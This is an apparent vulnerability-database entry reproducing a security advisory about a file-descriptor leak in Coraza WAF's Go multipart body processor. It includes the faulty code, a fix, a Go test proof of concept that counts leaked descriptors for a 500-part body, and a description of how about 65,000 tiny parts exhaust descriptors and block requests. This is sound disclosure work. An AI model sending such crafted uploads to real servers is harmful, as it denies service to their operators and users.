Back to database
Soon55MediumVulnerabilityNo patch link observed

Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor

Published Oct 8, 2026, 05:52 PM UTCIngested 5h agoSource OSV(ghsa)GHSA-rp9v-7xv3-r6g3

Description

## Summary `defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition. ## Details `internal/bodyprocessors/multipart.go`, line 69: ```go for { p, err := mr.NextPart() // ... temp, err := os.CreateTemp(storagePath, "crzmp*") defer temp.Close() // wrong scope io.Copy(temp, p) } ``` Each iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously. The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table. Fix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it. ## PoC Tested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64. Add this file at `internal/bodyprocessors/poc_fd_test.go` and run: ```text go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/... ``` ```go package bodyprocessors_test import ( "fmt" "os" "strings" "sync" "sync/atomic" "testing" "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" ) func countFDs() int { e, _ := os.ReadDir("/proc/self/fd") return len(e) } func TestMultipartFDLeak(t *testing.T) { boundary := "testboundary" var sb strings.Builder for i := 0; i < 500; i++ { fmt.Fprintf(&sb, "--%s\r\n", boundary) fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i) sb.WriteString("\r\n") sb.WriteString("X\r\n") } fmt.Fprintf(&sb, "--%s--\r\n", boundary) mp, _ := bodyprocessors.GetBodyProcessor("multipart") baseline := countFDs() var peak int64 done := make(chan struct{}) var wg sync.WaitGroup wg.Add(1) go func() { defer wg.Done() for { select { case <-done: return default: n := int64(countFDs()) for { cur := atomic.LoadInt64(&peak) if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) { break } } } } }() v := corazawaf.NewTransactionVariables() mp.ProcessRequest(strings.NewReader(sb.String()), v, plugintypes.BodyProcessorOptions{ Mime: "multipart/form-data; boundary=" + boundary, StoragePath: t.TempDir(), }) close(done) wg.Wait() t.Logf("baseline=%d peak=%d spike=+%d", baseline, atomic.LoadInt64(&peak), atomic.LoadInt64(&peak)-int64(baseline)) } ``` Output: ```text baseline=7 peak=506 spike=+499 ``` The spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline. ## Impact - **No authentication required.** Any endpoint that accepts multipart uploads is affected. - **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1. - **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload. - **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either. - **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.

CVSS v3.1 base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
—

Medium severity

Band computed from the CVSS base score, not the source's own label — so it means the same thing across every feed.

AV

Network

Attack Vector

AC

Low

Attack Complexity

PR

None

Privileges Required

UI

None

User Interaction

S

Unchanged

Scope

C

None

Confidentiality

I

None

Integrity

A

Low

Availability

Affected

Vendor
Go
Product
github.com/corazawaf/coraza/v3

Versions

  • pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0

Stated as the source expressed them.